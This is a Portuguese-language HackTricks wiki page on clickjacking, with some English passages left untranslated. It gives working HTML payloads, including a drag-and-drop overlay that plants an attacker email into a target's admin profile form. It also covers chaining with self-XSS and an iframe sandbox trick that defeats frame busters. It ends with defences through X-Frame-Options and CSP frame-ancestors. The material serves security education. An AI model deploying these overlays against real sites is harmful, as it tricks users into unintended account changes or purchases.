16 KiB
Clickjacking
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
O que é Clickjacking
Clickjacking é um ataque que enganar um usuário para clicar em um elemento de uma página da web que é invisível ou disfarçado como outro elemento. Isso pode fazer com que os usuários inadvertidamente baixem malware, acessem páginas da web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De aqui).
Truque de preencher formulários
Às vezes é possível preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga de clickjacking para que o usuário pressione o botão Enviar.
Preencher formulário com Arrastar e Soltar
Se você precisa que o usuário preencha um formulário, mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para Arrastar e Soltar algo que escreverá seus dados controlados como neste exemplo.
Payload básico
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Carga Única em Vários Passos
Clickjacking attacks can be made more effective by using a multistep payload. In a multistep payload, the attacker divides the malicious action into multiple steps, each triggered by a separate click event. This technique can help bypass certain security measures that may be in place to detect and prevent clickjacking attacks.
To implement a multistep payload, the attacker first identifies the target action they want to perform on the victim's behalf. This could be anything from submitting a form to making a purchase. The attacker then breaks down this action into smaller steps, each of which can be triggered by a separate click event.
For example, let's say the target action is submitting a form. The attacker can divide this action into three steps: filling out the form, clicking the submit button, and confirming the submission. Each step is triggered by a separate click event, and the attacker can use various techniques to hide these clicks from the victim.
By using a multistep payload, the attacker can make the clickjacking attack more covert and increase the chances of successfully executing the malicious action. It is important for developers and security professionals to be aware of this technique and implement appropriate measures to mitigate the risk of clickjacking attacks.
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Carga de Arrastar e Soltar + Clique
Clickjacking can be combined with drag and drop functionality to create a more sophisticated attack. In this technique, the attacker tricks the user into dragging and dropping an object onto a hidden button or link, which triggers a malicious action.
O clickjacking pode ser combinado com a funcionalidade de arrastar e soltar para criar um ataque mais sofisticado. Nessa técnica, o atacante engana o usuário para arrastar e soltar um objeto em um botão ou link oculto, o que aciona uma ação maliciosa.
To perform this attack, the attacker first creates a transparent overlay on top of the target website. This overlay contains a draggable object that appears harmless to the user. The attacker then uses JavaScript to capture the user's drag and drop events and redirect them to the hidden button or link.
Para realizar esse ataque, o atacante primeiro cria uma sobreposição transparente sobre o site alvo. Essa sobreposição contém um objeto arrastável que parece inofensivo para o usuário. O atacante então usa JavaScript para capturar os eventos de arrastar e soltar do usuário e redirecioná-los para o botão ou link oculto.
When the user unknowingly drags and drops the object onto the hidden button or link, they inadvertently trigger the malicious action associated with it. This can include actions such as submitting a form, making a purchase, or performing any other action that the attacker desires.
Quando o usuário, sem saber, arrasta e solta o objeto no botão ou link oculto, ele inadvertidamente aciona a ação maliciosa associada a ele. Isso pode incluir ações como enviar um formulário, fazer uma compra ou realizar qualquer outra ação que o atacante desejar.
To protect against drag and drop + click payloads, web developers should implement measures such as frame-busting code, X-Frame-Options headers, and Content Security Policy (CSP) to prevent clickjacking attacks.
Para se proteger contra cargas de arrastar e soltar + clique, os desenvolvedores web devem implementar medidas como código de quebra de frames, cabeçalhos X-Frame-Options e Política de Segurança de Conteúdo (CSP) para evitar ataques de clickjacking.
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Se você identificou um ataque XSS que requer que o usuário clique em algum elemento para acionar o XSS e a página é vulnerável a clickjacking, você pode abusar disso para enganar o usuário a clicar no botão/link.
Exemplo:
Você encontrou um self XSS em alguns detalhes privados da conta (detalhes que apenas você pode definir e ler). A página com o formulário para definir esses detalhes é vulnerável a Clickjacking e você pode preencher o formulário com os parâmetros GET.
__Um atacante poderia preparar um ataque de Clickjacking para aquela página, preenchendo o formulário com o payload XSS e enganando o usuário a enviar o formulário. Assim, quando o formulário for enviado e os valores forem modificados, o usuário executará o XSS.
Como evitar o Clickjacking
Defesas do lado do cliente
É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para evitar o Clickjacking:
- verificar e garantir que a janela de aplicativo atual seja a janela principal ou superior,
- tornar todos os frames visíveis,
- impedir o clique em frames invisíveis,
- interceptar e sinalizar possíveis ataques de clickjacking para um usuário.
Bypass
Como os frame busters são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma forma eficaz de contornar os frame busters é usar o atributo sandbox
do iframe do HTML5. Quando isso é definido com os valores allow-forms
ou allow-scripts
e o valor allow-top-navigation
é omitido, o script do frame buster pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Tanto os valores allow-forms
quanto allow-scripts
permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de frame, permitindo ao mesmo tempo a funcionalidade dentro do site-alvo.
Dependendo do tipo de ataque de Clickjacking realizado, você também pode precisar permitir: allow-same-origin
e allow-modals
ou ainda mais. Ao preparar o ataque, verifique o console do navegador, pois ele pode informar quais outros comportamentos você precisa permitir.
X-Frame-Options
O cabeçalho de resposta HTTP X-Frame-Options
pode ser usado para indicar se um navegador deve ou não permitir a renderização de uma página em um <frame>
ou <iframe>
. Os sites podem usar isso para evitar ataques de Clickjacking, garantindo que seu conteúdo não seja incorporado em outros sites. Defina o cabeçalho X-Frame-Options
para todas as respostas que contêm conteúdo HTML. Os valores possíveis são:
X-Frame-Options: deny
, que impede que qualquer domínio incorpore o conteúdo (valor recomendado)X-Frame-Options: sameorigin
, que permite apenas que o site atual incorpore o conteúdo.X-Frame-Options: allow-from https://trusted.com
, que permite que o 'uri' especificado incorpore esta página.- Verifique as limitações abaixo, pois isso falhará se o navegador não o suportar.
- Outros navegadores suportam a nova diretiva CSP frame-ancestors. Alguns suportam ambos.
Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
A proteção recomendada contra Clickjacking é incorporar a diretiva frame-ancestors
na Política de Segurança de Conteúdo da aplicação.
A diretiva frame-ancestors 'none'
é semelhante ao comportamento da diretiva X-Frame-Options deny
(Ninguém pode incorporar a página).
A diretiva frame-ancestors 'self'
é amplamente equivalente à diretiva X-Frame-Options sameorigin
(apenas o site atual pode incorporá-lo).
A diretiva frame-ancestors trusted.com
é amplamente equivalente à diretiva X-Frame-Options allow-from
(apenas o site confiável pode incorporá-lo).
A seguinte CSP permite apenas frames do mesmo domínio:
Content-Security-Policy: frame-ancestors 'self';
Consulte a documentação a seguir para obter mais detalhes e exemplos mais complexos:
- https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
Limitações
- Compatibilidade com navegadores: O CSP frame-ancestors ainda não é suportado por todos os principais navegadores.
- X-Frame-Options tem prioridade: A seção "Relação com X-Frame-Options" da especificação CSP diz: "Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja 'enforce', o cabeçalho X-Frame-Options DEVE ser ignorado", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options.
Referências
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Use Trickest para criar e automatizar fluxos de trabalho com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo Telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.